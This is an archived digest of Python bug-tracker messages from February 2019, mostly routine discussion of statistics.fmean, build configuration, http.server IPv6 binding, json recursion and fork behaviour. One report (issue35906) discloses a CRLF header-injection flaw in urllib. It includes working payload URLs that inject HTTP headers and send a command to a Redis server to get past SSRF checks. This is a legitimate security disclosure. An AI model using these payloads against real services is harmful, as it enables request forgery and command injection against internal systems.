[issue35902] Forking from background thread

2019-02-05 Thread Raymond Hettinger


Raymond Hettinger  added the comment:

Unless it's clear that there is a buggy behavior or a useful feature request, 
it would be better to move this to StackOverflow which is a more appropriate 
forum for general questions on how Python works internally.

--
nosy: +rhettinger

___
Python tracker 

___
___
Python-bugs-list mailing list
Unsubscribe: 
https://mail.python.org/mailman/options/python-bugs-list/archive%40mail-archive.com



[issue35812] Don't log an exception from the main coroutine in asyncio.run()

2019-02-05 Thread Henry Chen


Henry Chen  added the comment:

I'm having trouble reproducing this issue. The main_coro seems to disappear 
when an exception is raised in it, so that it does not show up in the set of 
tasks to cancel. I'm probably misunderstanding something basic here. Is it 
possible to provide a minimal example?

--
nosy: +scotchka

___
Python tracker 

___
___
Python-bugs-list mailing list
Unsubscribe: 
https://mail.python.org/mailman/options/python-bugs-list/archive%40mail-archive.com



[issue35904] Add statistics.fmean(seq)

2019-02-05 Thread Raymond Hettinger


Raymond Hettinger  added the comment:

> Correctness over speed.

Are you saying that "fsum(seq) / len(seq)" is incorrect because on some older 
builds there is a rare possibility of an error of 1 unit in the last place?  
Just about everyone who uses this module will not care one whit about that.  
ISTM, a requirement for exactness violates "practicality beats purity".  We 
really don't want to be in the position of advising people to never use this 
module because of design choices that aren't in line with user needs.

> It is easier to speed up a correct but slow function 
> than to correct a fast but buggy one.

Taken to an extreme, this could be used justify a BubbleSort.  In the case of 
statistics.mean(), slowness of three orders of magnitude makes this a nearly 
catastrophic choice for real world use.

> I don't like the naming symmetry between fsum and fmean;

Any reasonable name will suffice.  I suggested an f prefix that could be taken 
to mean that it is "fast" or that it returns a "float".  It isn't much 
different than isqrt() for an integer square root.

> numpy already exists for people who need insane speed for these algorithms 
> and are willing to compromise accuracy;

Let's see what Steven and Tim think about this.

--

___
Python tracker 

___
___
Python-bugs-list mailing list
Unsubscribe: 
https://mail.python.org/mailman/options/python-bugs-list/archive%40mail-archive.com



[issue35903] Build of posixshmem.c should probe for required OS functions

2019-02-05 Thread Neil Schemenauer


Neil Schemenauer  added the comment:

I didn't understand autoconfig well enough but I think I fixed it now.  
Apparently MacOS is a platform where it has shm_open but you don't need to link 
with -lrt.  The revised 'configure' should handle that correctly now.

--

___
Python tracker 

___
___
Python-bugs-list mailing list
Unsubscribe: 
https://mail.python.org/mailman/options/python-bugs-list/archive%40mail-archive.com



[issue35903] Build of posixshmem.c should probe for required OS functions

2019-02-05 Thread Davin Potts


Davin Potts  added the comment:

Agreed that the logic for building that code needs exactly this sort of change. 
 Thanks for the patch!

It looks like your patch does not happily detect the dependencies on MacOS for 
some reason, but all appears well on Windows & Linux.  I will have a closer 
look in the morning on a MacOS system.

--

___
Python tracker 

___
___
Python-bugs-list mailing list
Unsubscribe: 
https://mail.python.org/mailman/options/python-bugs-list/archive%40mail-archive.com



[issue35906] Header Injection in urllib

2019-02-05 Thread Karthikeyan Singaravelan


Change by Karthikeyan Singaravelan :


--
nosy: +martin.panter

___
Python tracker 

___
___
Python-bugs-list mailing list
Unsubscribe: 
https://mail.python.org/mailman/options/python-bugs-list/archive%40mail-archive.com



[issue35904] Add statistics.fmean(seq)

2019-02-05 Thread Josh Rosenberg


Josh Rosenberg  added the comment:

Correct me if I'm wrong, but at least initially, the first listed goal of 
statistics (per the PEP) was:

"Correctness over speed. It is easier to speed up a correct but slow function 
than to correct a fast but buggy one."

numpy already exists for people who need insane speed for these algorithms and 
are willing to compromise accuracy; am I wrong in my impression that statistics 
is more about providing correct batteries included that are fast enough for 
simple uses, not reimplementing numpy piece by piece for hardcore number 
crunching?

Even if such a function were desirable, I don't like the naming symmetry 
between fsum and fmean; it's kind of misleading. math.fsum is a slower, but 
more precise, version of the built-in sum. Having statistics.fmean be a faster, 
less accurate, version of statistics.mean reverses that relationship between 
the f-prefixed and non-f-prefixed versions of a function.

--
nosy: +josh.r

___
Python tracker 

___
___
Python-bugs-list mailing list
Unsubscribe: 
https://mail.python.org/mailman/options/python-bugs-list/archive%40mail-archive.com



[issue35905] macOS build docs need refresh (2019)

2019-02-05 Thread Barry A. Warsaw


Barry A. Warsaw  added the comment:

All I know is that for 3.7 and 3.8 (3.6 is different), I have this little 
helper script to build against Homebrew libraries.

#!/bin/sh

export CPPFLAGS="-I$(brew --prefix sqlite3)/include -I$(brew --prefix 
zlib)/include"
export LDFLAGS="-L$(brew --prefix sqlite3)/lib -L$(brew --prefix zlib)/lib"
export PKG_CONFIG_PATH="/usr/local/opt/openssl/lib/pkgconfig"

./configure

--

___
Python tracker 

___
___
Python-bugs-list mailing list
Unsubscribe: 
https://mail.python.org/mailman/options/python-bugs-list/archive%40mail-archive.com



[issue35905] macOS build docs need refresh (2019)

2019-02-05 Thread Barry A. Warsaw


Change by Barry A. Warsaw :


--
nosy: +barry

___
Python tracker 

___
___
Python-bugs-list mailing list
Unsubscribe: 
https://mail.python.org/mailman/options/python-bugs-list/archive%40mail-archive.com



[issue24209] Allow IPv6 bind in http.server

2019-02-05 Thread Jason R. Coombs


Change by Jason R. Coombs :


--
pull_requests: +11726, 11727, 11728
stage: resolved -> patch review

___
Python tracker 

___
___
Python-bugs-list mailing list
Unsubscribe: 
https://mail.python.org/mailman/options/python-bugs-list/archive%40mail-archive.com



[issue24209] Allow IPv6 bind in http.server

2019-02-05 Thread Jason R. Coombs


Change by Jason R. Coombs :


--
pull_requests: +11726
stage: resolved -> patch review

___
Python tracker 

___
___
Python-bugs-list mailing list
Unsubscribe: 
https://mail.python.org/mailman/options/python-bugs-list/archive%40mail-archive.com



[issue24209] Allow IPv6 bind in http.server

2019-02-05 Thread Jason R. Coombs


Change by Jason R. Coombs :


--
pull_requests: +11726, 11727
stage: resolved -> patch review

___
Python tracker 

___
___
Python-bugs-list mailing list
Unsubscribe: 
https://mail.python.org/mailman/options/python-bugs-list/archive%40mail-archive.com



[issue24209] Allow IPv6 bind in http.server

2019-02-05 Thread Jason R. Coombs


Jason R. Coombs  added the comment:

I don't believe the current patch as accepted has the right behaviors. First 
off, the default behavior, which indicates "all interfaces" only binds to IPv4 
interfaces. Additionally, "-b localhost" only binds to IPv4 localhost.

Ideally, the bind should happen on all stacks unless a specific stack is 
indicated.

--
assignee:  -> jason.coombs

___
Python tracker 

___
___
Python-bugs-list mailing list
Unsubscribe: 
https://mail.python.org/mailman/options/python-bugs-list/archive%40mail-archive.com



[issue35766] Merge typed_ast back into CPython

2019-02-05 Thread Guido van Rossum


Change by Guido van Rossum :


--
pull_requests: +11723, 11724, 11725

___
Python tracker 

___
___
Python-bugs-list mailing list
Unsubscribe: 
https://mail.python.org/mailman/options/python-bugs-list/archive%40mail-archive.com



[issue35766] Merge typed_ast back into CPython

2019-02-05 Thread Guido van Rossum


Change by Guido van Rossum :


--
pull_requests: +11723

___
Python tracker 

___
___
Python-bugs-list mailing list
Unsubscribe: 
https://mail.python.org/mailman/options/python-bugs-list/archive%40mail-archive.com



[issue35766] Merge typed_ast back into CPython

2019-02-05 Thread Guido van Rossum


Change by Guido van Rossum :


--
pull_requests: +11723, 11724

___
Python tracker 

___
___
Python-bugs-list mailing list
Unsubscribe: 
https://mail.python.org/mailman/options/python-bugs-list/archive%40mail-archive.com



[issue35906] Header Injection in urllib

2019-02-05 Thread Sihoon Lee


New submission from Sihoon Lee :

this patch can also be broken by path and query string.
http://www.cvedetails.com/cve/CVE-2016-5699/
https://bugs.python.org/issue30458

can succeed to inject HTTP header and be more critical by bypassing illegal 
header check

# Vulnerability PoC

>>> import urllib.request

>>> urllib.request.urlopen('http://127.0.0.1:1234/?q=HTTP/1.1\r\nHeader: 
>>> Value\r\nHeader2: \r\n')
or 
>>> urllib.request.urlopen('http://127.0.0.1:1234/HTTP/1.1\r\nHeader: 
>>> Value\r\nHeader2: \r\n')

> nc -lv 1234
GET /?q=HTTP/1.1
Header: Value
Header2: HTTP/1.1
Accept-Encoding: identity
Host: 127.0.0.1:1234
User-Agent: Python-urllib/3.8
Connection: close

we can inject headers completely.

## Redis
redis also be affected by bypassing SSRF protection checking header "host:" 
with this injection.

>>> urllib2.urlopen('http://127.0.0.1:6379/?q=HTTP/1.1\r\nSET VULN 
>>> POC\r\nHeader2:\r\n').read()
'$-1\r\n+OK\r\n-ERR unknown command `Header2:`, with args beginning with: 
`HTTP/1.1`, \r\n-ERR unknown command `Accept-Encoding:`, with args beginning 
with: `identity`, \r\n'

$ redis-cli
127.0.0.1:6379> GET VULN
"POC"


# Root Cause
https://github.com/python/cpython/commit/cc54c1c0d2d05fe7404ba64c53df4b1352ed2262

- _hostprog = re.compile('^//([^/?]*)(.*)$')
+ _hostprog = re.compile('//([^/#?]*)(.*)', re.DOTALL)

It could succeed to parse host because of re.DOTALL
re.DOTALL gave the opportunity of injection.

this version of the commit was 3.4.7+

this vulnerability can be affected 3.4.7+ ~ 3.8-dev <- I tested it.
also, python 2.7.15 can be affected. I don't know which python2 version is 
affected because not test.

maybe after the commit, all of higher versions can trigger this vulnerability.

# Conclusion
this patch provides more critical vulnerability to bypass the illegal header 
check.
and we can inject HTTP header completely in urlopen() from this patch.

(Although this vulnerability is old on 12 Jul 2017, I don't know why no one has 
submitted issue still now XDD)

--
components: Library (Lib)
messages: 334896
nosy: push0ebp
priority: normal
severity: normal
status: open
title: Header Injection in urllib
type: security
versions: Python 2.7, Python 3.4, Python 3.5, Python 3.6, Python 3.7, Python 3.8

___
Python tracker 

___
___
Python-bugs-list mailing list
Unsubscribe: 
https://mail.python.org/mailman/options/python-bugs-list/archive%40mail-archive.com



[issue35906] Header Injection in urllib

2019-02-05 Thread Raymond Hettinger


Change by Raymond Hettinger :


--
nosy: +christian.heimes

___
Python tracker 

___
___
Python-bugs-list mailing list
Unsubscribe: 
https://mail.python.org/mailman/options/python-bugs-list/archive%40mail-archive.com



[issue35894] Apparent regression in 3.8-dev: 'TypeError: required field "type_ignores" missing from Module'

2019-02-05 Thread Guido van Rossum


Change by Guido van Rossum :


--
resolution:  -> not a bug
stage:  -> resolved
status: open -> closed

___
Python tracker 

___
___
Python-bugs-list mailing list
Unsubscribe: 
https://mail.python.org/mailman/options/python-bugs-list/archive%40mail-archive.com



[issue35905] macOS build docs need refresh (2019)

2019-02-05 Thread Ned Deily


Change by Ned Deily :


--
assignee: docs@python -> ned.deily

___
Python tracker 

___
___
Python-bugs-list mailing list
Unsubscribe: 
https://mail.python.org/mailman/options/python-bugs-list/archive%40mail-archive.com



[issue35905] macOS build docs need refresh (2019)

2019-02-05 Thread Jason R. Coombs


New submission from Jason R. Coombs :

In https://github.com/python/devguide/issues/453#issuecomment-460848565, I 
understand that Ned wishes to update the macOS build docs prior to linking to 
them from the dev guide.

--
assignee: docs@python
components: Documentation
messages: 334895
nosy: docs@python, jason.coombs, ned.deily
priority: normal
severity: normal
status: open
title: macOS build docs need refresh (2019)
versions: Python 3.8

___
Python tracker 

___
___
Python-bugs-list mailing list
Unsubscribe: 
https://mail.python.org/mailman/options/python-bugs-list/archive%40mail-archive.com



[issue35904] Add statistics.fmean(seq)

2019-02-05 Thread Raymond Hettinger


New submission from Raymond Hettinger :

The current mean() function makes heroic efforts to achieve last bit accuracy 
and when possible to retain the data type of the input.

What is needed is an alternative that has a simpler signature, that is much 
faster, that is highly accurate without demanding perfection, and that is 
usually what people expect mean() is going to do, the same as their calculators 
or numpy.mean():

   def fmean(seq: Sequence[float]) -> float:
   return math.fsum(seq) / len(seq)

On my current 3.8 build, this code given an approx 500x speed-up (almost three 
orders of magnitude).   Note that having a fast fmean() function is important 
in resampling statistics where the mean() is typically called many times:  
http://statistics.about.com/od/Applications/a/Example-Of-Bootstrapping.htm 


$ ./python.exe -m timeit -r 11 -s 'from random import random' -s 'from 
statistics import mean' -s 'seq = [random() for i in range(10_000)]' 'mean(seq)'
50 loops, best of 11: 6.8 msec per loop

$ ./python.exe -m timeit -r 11 -s 'from random import random' -s 'from math 
import fsum' -s 'mean=lambda seq: fsum(seq)/len(seq)' -s 'seq = [random() for i 
in range(10_000)]' 'mean(seq)'
2000 loops, best of 11: 155 usec per loop

--
assignee: steven.daprano
components: Library (Lib)
messages: 334894
nosy: rhettinger, steven.daprano, tim.peters
priority: normal
severity: normal
status: open
title: Add statistics.fmean(seq)
type: behavior
versions: Python 3.8

___
Python tracker 

___
___
Python-bugs-list mailing list
Unsubscribe: 
https://mail.python.org/mailman/options/python-bugs-list/archive%40mail-archive.com



[issue35737] crypt AuthenticationError introduced with new Linux kernel

2019-02-05 Thread Charalampos Stratakis


Charalampos Stratakis  added the comment:

Hi Brett,

Those issues should be reported on Red Hat's bugzilla, if it's definite that 
the kernel version (or a new cpython release downstream) is the one to blame 
for it.

Also RHEL 7's python version while being 2.7.5, carries many additional patches 
on top with various fixes from later versions, so it wouldn't be easy to bisect 
an issue by relying solely on the upstream sources.

However it really does seem like a saltstack issue. An easier reproducer would 
be of great help here. As suggested before you should also try if possible, to 
make saltstack utilize the latest compiled python2 sources from github.

--
nosy: +cstratak

___
Python tracker 

___
___
Python-bugs-list mailing list
Unsubscribe: 
https://mail.python.org/mailman/options/python-bugs-list/archive%40mail-archive.com



[issue35902] Forking from background thread

2019-02-05 Thread Vadim Tsozik


Vadim Tsozik  added the comment:

Thank you for your reply. I understand that forking and threads do not mix well 
if developer is not careful and child doesn't clear/reset synchronization 
variables inherited from parent. However this is not the case in provided code 
sample. The answer to my question is probably related to the fact that only 
main thread handles signaling by default in POSIX. But in the provided example 
parent background thread becomes main in the child. In parent it doesn't matter 
if waitpid blocks on main or background thread. The only thing really matters 
if code forks from main or background threads.

--

___
Python tracker 

___
___
Python-bugs-list mailing list
Unsubscribe: 
https://mail.python.org/mailman/options/python-bugs-list/archive%40mail-archive.com



[issue35851] Make search result in online docs keep their position when search finishes

2019-02-05 Thread Karthikeyan Singaravelan


Karthikeyan Singaravelan  added the comment:

This is fixed upstream and will be available as Sphinx is upgraded. Closing it 
now. Thanks @roelschroeven for the report.

Upstream PR : https://github.com/sphinx-doc/sphinx/pull/6018

--
resolution:  -> third party
stage:  -> resolved
status: open -> closed

___
Python tracker 

___
___
Python-bugs-list mailing list
Unsubscribe: 
https://mail.python.org/mailman/options/python-bugs-list/archive%40mail-archive.com



[issue27777] cgi.FieldStorage can't parse simple body with Content-Length and no Content-Disposition

2019-02-05 Thread Aron Podrigal


Aron Podrigal  added the comment:

A different approach. Always honor content length, and do not try to read more 
than.

--

___
Python tracker 

___
___
Python-bugs-list mailing list
Unsubscribe: 
https://mail.python.org/mailman/options/python-bugs-list/archive%40mail-archive.com



[issue35903] Build of posixshmem.c should probe for required OS functions

2019-02-05 Thread Neil Schemenauer


Change by Neil Schemenauer :


--
pull_requests: +11719, 11720

___
Python tracker 

___
___
Python-bugs-list mailing list
Unsubscribe: 
https://mail.python.org/mailman/options/python-bugs-list/archive%40mail-archive.com



[issue35903] Build of posixshmem.c should probe for required OS functions

2019-02-05 Thread Neil Schemenauer


Change by Neil Schemenauer :


--
pull_requests: +11719, 11720, 11721

___
Python tracker 

___
___
Python-bugs-list mailing list
Unsubscribe: 
https://mail.python.org/mailman/options/python-bugs-list/archive%40mail-archive.com



[issue35903] Build of posixshmem.c should probe for required OS functions

2019-02-05 Thread Neil Schemenauer


Change by Neil Schemenauer :


--
pull_requests: +11719

___
Python tracker 

___
___
Python-bugs-list mailing list
Unsubscribe: 
https://mail.python.org/mailman/options/python-bugs-list/archive%40mail-archive.com



[issue35903] Build of posixshmem.c should probe for required OS functions

2019-02-05 Thread Neil Schemenauer


New submission from Neil Schemenauer :

The logic in setup.py that determines if _multiprocessing/posixshmem.c should 
get built is not very robust.  I think it is better to use autoconfig to probe 
for the required functions and libraries.  My autoconfig brain cells are a bit 
fuzzy but I think my patch is correct.

I look for shm_open and shm_unlink.  I also check if librt is required for 
these functions.

--
assignee: davin
components: Build
keywords: patch
messages: 334888
nosy: davin, nascheme
priority: normal
severity: normal
stage: patch review
status: open
title: Build of posixshmem.c should probe for required OS functions
type: enhancement
versions: Python 3.8

___
Python tracker 

___
___
Python-bugs-list mailing list
Unsubscribe: 
https://mail.python.org/mailman/options/python-bugs-list/archive%40mail-archive.com



[issue27777] cgi.FieldStorage can't parse simple body with Content-Length and no Content-Disposition

2019-02-05 Thread Roundup Robot


Change by Roundup Robot :


--
pull_requests: +11715, 11716, 11717, 11718

___
Python tracker 

___
___
Python-bugs-list mailing list
Unsubscribe: 
https://mail.python.org/mailman/options/python-bugs-list/archive%40mail-archive.com



[issue27777] cgi.FieldStorage can't parse simple body with Content-Length and no Content-Disposition

2019-02-05 Thread Roundup Robot


Change by Roundup Robot :


--
pull_requests: +11715, 11716, 11717

___
Python tracker 

___
___
Python-bugs-list mailing list
Unsubscribe: 
https://mail.python.org/mailman/options/python-bugs-list/archive%40mail-archive.com



[issue27777] cgi.FieldStorage can't parse simple body with Content-Length and no Content-Disposition

2019-02-05 Thread Roundup Robot


Change by Roundup Robot :


--
pull_requests: +11715, 11716

___
Python tracker 

___
___
Python-bugs-list mailing list
Unsubscribe: 
https://mail.python.org/mailman/options/python-bugs-list/archive%40mail-archive.com



[issue27777] cgi.FieldStorage can't parse simple body with Content-Length and no Content-Disposition

2019-02-05 Thread Roundup Robot


Change by Roundup Robot :


--
pull_requests: +11715

___
Python tracker 

___
___
Python-bugs-list mailing list
Unsubscribe: 
https://mail.python.org/mailman/options/python-bugs-list/archive%40mail-archive.com



[issue35902] Forking from background thread

2019-02-05 Thread Christian Heimes


Christian Heimes  added the comment:

In general threads and forks don't mix well. If you fork from any thread but 
the main thread, you can run into undefined behavior. Daemon threads are a 
special property of Python's threading model. You need to have one non-daemon 
thread running to keep the process active. A Python process exits when all 
remaining threads are daemon threads.

--
nosy: +christian.heimes

___
Python tracker 

___
___
Python-bugs-list mailing list
Unsubscribe: 
https://mail.python.org/mailman/options/python-bugs-list/archive%40mail-archive.com



[issue35902] Forking from background thread

2019-02-05 Thread Vadim Tsozik


New submission from Vadim Tsozik :

Attached is code sample that forks child process either from main or from 
background thread. Child starts and joins all of its threads except a sleeping 
daemon. If parent forks child from main thread program exits immediately after 
child threads are joined and waitpid is unblocked by SIGCHLD. However if parent 
process happens to fork from main thread everything works correctly and process 
exits immediately without waiting for daemon to sleep for 3600 seconds. I'm 
wondering what is the difference between main and background thread in parent. 
Only one thread survives forking in child and becomes main thread in the child, 
so there should be no differences in the behavior.

Thank you in advance for your help,

--
components: Build
files: threadforkmodel.py
messages: 334886
nosy: vtsozik
priority: normal
severity: normal
status: open
title: Forking from background thread
type: behavior
versions: Python 2.7, Python 3.4, Python 3.5, Python 3.6, Python 3.7
Added file: https://bugs.python.org/file48103/threadforkmodel.py

___
Python tracker 

___
___
Python-bugs-list mailing list
Unsubscribe: 
https://mail.python.org/mailman/options/python-bugs-list/archive%40mail-archive.com



[issue35901] json.dumps infinite recurssion

2019-02-05 Thread MultiSosnooley


MultiSosnooley  added the comment:

Oh, I got it. Size is too high growing to reach recurtion limit. I replace repr 
with slow growing data and now there is good old recursion limit exception.

import json

class F:
counter = 0
total = 0
data = b""

def __call__(self, o):
self.counter += 1
self.data = b"1" + self.data
self.total += len(self.data)
print(self.counter, len(self.data), self.total)
return self.data

json.dumps(object(), default=F())

--

___
Python tracker 

___
___
Python-bugs-list mailing list
Unsubscribe: 
https://mail.python.org/mailman/options/python-bugs-list/archive%40mail-archive.com



[issue35055] Error when we try to download the epub archive

2019-02-05 Thread Ned Deily


Ned Deily  added the comment:

Yes, it looks like 3.6 and 3.7 have been building properly so that's good.  
However, I see that there seems to be an issue with building the 3.8.0 
downloadables.  It looks like only the html formats are being built and that 
now results in 404s for the others since 3.8.0a1 has been released.  @mdk, can 
you take a look please and close this issue when appropriate?  Thanks!

--

___
Python tracker 

___
___
Python-bugs-list mailing list
Unsubscribe: 
https://mail.python.org/mailman/options/python-bugs-list/archive%40mail-archive.com



[issue35896] sysconfig.get_platform returns wrong value when Python 32b is running under Windows 64b

2019-02-05 Thread Steve Dower


Steve Dower  added the comment:

> sys.platform is defined by code path taken while compiling. it is hardcoded 
> and really represents the os abi used of a *supported* platform

Correct, though the examples I'd give are Win32 vs. WinRT vs. Cygwin, which are 
fundamentally different API surfaces for interacting with the operating system.

sys.platform is win32 whenever Python is built against the Win32 API. 
sysconfig.get_platform is win32 when packages need to be built for 32-bit 
Windows. It's unfortunate that they were chosen to be the same, but that's long 
in the past, and I don't think the confusion is worth the confusion that would 
occur if it changed.

os.name is also odd, and honestly I'd rather it just went away completely. I'd 
like the module to be called "posix" everywhere, since that's the API it 
exposes (it's an emulation layer on non-POSIX platforms), and checks should use 
sys.platform. Or at worst, "_os" instead of having an importable "nt" module. 
But for better or worse, that's how Python is designed, and until there's a 
serious project to redesign aspects at this level we aren't going to see any 
change.

--

___
Python tracker 

___
___
Python-bugs-list mailing list
Unsubscribe: 
https://mail.python.org/mailman/options/python-bugs-list/archive%40mail-archive.com



[issue27777] cgi.FieldStorage can't parse simple body with Content-Length and no Content-Disposition

2019-02-05 Thread Rémi Lapeyre

Change by Rémi Lapeyre :


--
nosy: +remi.lapeyre

___
Python tracker 

___
___
Python-bugs-list mailing list
Unsubscribe: 
https://mail.python.org/mailman/options/python-bugs-list/archive%40mail-archive.com



[issue27777] cgi.FieldStorage can't parse simple body with Content-Length and no Content-Disposition

2019-02-05 Thread Aron Podrigal


Aron Podrigal  added the comment:

I am experiencing  the same issue. 
https://github.com/python/cpython/pull/10771 looks good.


While were at it, and if PR 10771 is accepted, maybe we can change 
https://github.com/python/cpython/blob/6613b56173d26f32da9945691ff9f824304224a2/Lib/cgi.py#L717
 to `read` instead of `readline` since we anyway read till EOF.

--
nosy: +Aron Podrigal

___
Python tracker 

___
___
Python-bugs-list mailing list
Unsubscribe: 
https://mail.python.org/mailman/options/python-bugs-list/archive%40mail-archive.com



[issue35897] Support list as argument to .startswith()

2019-02-05 Thread Rémi Lapeyre

Rémi Lapeyre  added the comment:

> A programmer want to instruct the computer to do something, without having to 
> care about how it works.

This is not true, as a programmer you need to choose carefully your data 
structures because they matter, for example there is a difference between doing 
a lookup on an indexed field in an SQL database and a field that is not 
indexed. As a programmer you care because it impacts the performance of your 
application.

The linked discussion explains the difference between list and tuple in this 
instance.

@rhettinger: while this is not hard to fix, there is no mention in the 
documentation about why this choice has been made. A beginner don't know about 
the internals of cPython, should we add a small note about the optimization 
done with tuple?

--
nosy: +remi.lapeyre

___
Python tracker 

___
___
Python-bugs-list mailing list
Unsubscribe: 
https://mail.python.org/mailman/options/python-bugs-list/archive%40mail-archive.com



[issue28411] Eliminate PyInterpreterState.modules.

2019-02-05 Thread Tim Burgess


Change by Tim Burgess :


--
pull_requests: +11713

___
Python tracker 

___
___
Python-bugs-list mailing list
Unsubscribe: 
https://mail.python.org/mailman/options/python-bugs-list/archive%40mail-archive.com



[issue35901] json.dumps infinite recurssion

2019-02-05 Thread Karthikeyan Singaravelan


Karthikeyan Singaravelan  added the comment:

I guess json module expects a return value from default function that is str, 
int, float, etc. that can be handled by built in encoders and returning a bytes 
object with repr causes it to keep calling default until a value of one of 
expected type is returned. With the encoded repr producing new objects circular 
reference cannot be detected. In the below example I keep returning encoded 
repr as per the original report and then return a string once length is more 
than 100. I think this is something similar to 
https://bugs.python.org/issue21213#msg217203 .

# /tmp/foo.py

import json;

def default(o):
out = repr(o).encode()
print(id(out))
if len(out) > 100:
print(out)
return "string"
return out

print(json.dumps(object(), default=default))


./python.exe /tmp/foo.py
4329334144
4328290960
4328289400
4329073088
4328910624
4329031520
4327246416
4328875288
b'b\'b\\\'b\\\'b\\\'b\\\'b"b\\\'\\\'"\\\'\\\'\\\'\\\'\''
"string"

--
nosy: +ezio.melotti, rhettinger, xtreak

___
Python tracker 

___
___
Python-bugs-list mailing list
Unsubscribe: 
https://mail.python.org/mailman/options/python-bugs-list/archive%40mail-archive.com



[issue28411] Eliminate PyInterpreterState.modules.

2019-02-05 Thread Tim Burgess


Change by Tim Burgess :


--
pull_requests: +11713, 11714

___
Python tracker 

___
___
Python-bugs-list mailing list
Unsubscribe: 
https://mail.python.org/mailman/options/python-bugs-list/archive%40mail-archive.com



[issue35055] Error when we try to download the epub archive

2019-02-05 Thread Julien Palard


Julien Palard  added the comment:

Issue has been fixed upstream IIRC: 
https://github.com/sphinx-doc/sphinx/pull/5574

--

___
Python tracker 

___
___
Python-bugs-list mailing list
Unsubscribe: 
https://mail.python.org/mailman/options/python-bugs-list/archive%40mail-archive.com



[issue35896] sysconfig.get_platform returns wrong value when Python 32b is running under Windows 64b

2019-02-05 Thread pmpp


pmpp  added the comment:

> what is the difference

sys.platform is defined by code path taken while compiling. it is hardcoded and 
really represents the os abi used of a *supported* platform, it is to be 
trusted.

while sysconfig.get_platform() try to guess from various sources with more or 
less success.

> changing sys.platform
on windows there are a number of different abi ( eg  msvc (32/64 supported) / 
cygwin / mingw / midipix   ) and one should expect sys.platform to point to 
the correct one.

The maintainers ( like steve.dower ) help choose carrefully those codes and 
ensure they will always work, so i think you have been answered.

--

___
Python tracker 

___
___
Python-bugs-list mailing list
Unsubscribe: 
https://mail.python.org/mailman/options/python-bugs-list/archive%40mail-archive.com



[issue35901] json.dumps infinite recurssion

2019-02-05 Thread MultiSosnooley


New submission from MultiSosnooley :

```
__import__('json').dumps(object(), default=lambda o: repr(o).encode())
```
Produce infinite recursion on `default` function.

Here is more informative example:
```
>>> def f(o):
... input(f"{o!r} {type(o)}")
... return repr(o).encode()
... 
>>> import json
>>> json.dumps(object(), default=f)
 
b'' 
b"b''" 
b'b"b\'\'"' 
b'b\'b"b\\\'\\\'"\'' 
b'b\'b\\\'b"b\\\'\\\'"\\\'\'' 
```

--
components: Library (Lib)
messages: 334877
nosy: MultiSosnooley
priority: normal
severity: normal
status: open
title: json.dumps infinite recurssion
type: crash
versions: Python 3.6, Python 3.8

___
Python tracker 

___
___
Python-bugs-list mailing list
Unsubscribe: 
https://mail.python.org/mailman/options/python-bugs-list/archive%40mail-archive.com



[issue35896] sysconfig.get_platform returns wrong value when Python 32b is running under Windows 64b

2019-02-05 Thread jcrmatos


jcrmatos  added the comment:

Then what is the difference between sysconfig.get_platform and sys.platform? 
When should we use one or the other?

Maybe changing sys.platform to 'win' instead of 'win32', like was done with 
'linux' in Python 3.3 (changed from 'linux2' and 'linux3') would be a step in 
standardization and simplification.

Another one is sys.platform and sysconfig.platform return 'win32' and os.name 
returns 'nt'. Can't it be changed (in Python 4) to 'win', maybe with a 
deprecation warning starting in 3.8?

--

___
Python tracker 

___
___
Python-bugs-list mailing list
Unsubscribe: 
https://mail.python.org/mailman/options/python-bugs-list/archive%40mail-archive.com



[issue35899] '_is_sunder' function in 'enum' module fails on empty string

2019-02-05 Thread Raymond Hettinger


Change by Raymond Hettinger :


--
assignee:  -> ethan.furman

___
Python tracker 

___
___
Python-bugs-list mailing list
Unsubscribe: 
https://mail.python.org/mailman/options/python-bugs-list/archive%40mail-archive.com



[issue35737] crypt AuthenticationError introduced with new Linux kernel

2019-02-05 Thread Brett R


Brett R  added the comment:

Karthikeyan,

Thank you for looking into this. I have been trying, in the background, to make 
further progress on this issue but progress is slow and other issues crop up. 
While the version of Python here is old, it was the latest in RHEL/CentOS 7.5. 
We are trying to get RHEL 7.6 running as well.

I understand that it appears 3rd party related, but I can't get much attention 
from the SaltStack folks either.

Appreciate your patience as I try to narrow this down further.

--

___
Python tracker 

___
___
Python-bugs-list mailing list
Unsubscribe: 
https://mail.python.org/mailman/options/python-bugs-list/archive%40mail-archive.com



[issue35898] The TARGETDIR variable must be provided when invoking this installer

2019-02-05 Thread Steve Dower


Steve Dower  added the comment:

The installer hasn't changed since 3.7, so this seems unlikely to be a new 
issue.

I see this line in your log file:

MSI (s) (A8:D0) [13:09:39:028]: Ignoring disallowed property TARGETDIR

Perhaps your IT department has configured some restrictions on installers? You 
could try selecting the option to install for All Users, since it seems your 
system is trying to upgrade to that automatically.

--

___
Python tracker 

___
___
Python-bugs-list mailing list
Unsubscribe: 
https://mail.python.org/mailman/options/python-bugs-list/archive%40mail-archive.com



[issue35896] sysconfig.get_platform returns wrong value when Python 32b is running under Windows 64b

2019-02-05 Thread Steve Dower


Steve Dower  added the comment:

This is intentional. The "platform" here represents the Python platform (for 
figuring out whether native modules are compatible), and since it's the 32-bit 
build of Python it should specify the 32-bit platform.

To find out information about the machine you are running on, look at the 
platform module: https://docs.python.org/3/library/platform.html

--
resolution:  -> not a bug
stage:  -> resolved
status: open -> closed

___
Python tracker 

___
___
Python-bugs-list mailing list
Unsubscribe: 
https://mail.python.org/mailman/options/python-bugs-list/archive%40mail-archive.com



[issue32417] fromutc does not respect datetime subclasses

2019-02-05 Thread Eric Snow


Change by Eric Snow :


--
nosy: +eric.snow

___
Python tracker 

___
___
Python-bugs-list mailing list
Unsubscribe: 
https://mail.python.org/mailman/options/python-bugs-list/archive%40mail-archive.com



[issue35900] Add pickler hook for the user to customize the serialization of user defined functions and types.

2019-02-05 Thread Antoine Pitrou


Antoine Pitrou  added the comment:

FYI, I've removed the duplicate message :-)  Also adding Serhiy as cc.

--
nosy: +serhiy.storchaka

___
Python tracker 

___
___
Python-bugs-list mailing list
Unsubscribe: 
https://mail.python.org/mailman/options/python-bugs-list/archive%40mail-archive.com



[issue35900] Add pickler hook for the user to customize the serialization of user defined functions and types.

2019-02-05 Thread Antoine Pitrou


Change by Antoine Pitrou :


--
Removed message: https://bugs.python.org/msg334871

___
Python tracker 

___
___
Python-bugs-list mailing list
Unsubscribe: 
https://mail.python.org/mailman/options/python-bugs-list/archive%40mail-archive.com



[issue35899] '_is_sunder' function in 'enum' module fails on empty string

2019-02-05 Thread Karthikeyan Singaravelan


Change by Karthikeyan Singaravelan :


--
nosy: +barry, eli.bendersky, ethan.furman

___
Python tracker 

___
___
Python-bugs-list mailing list
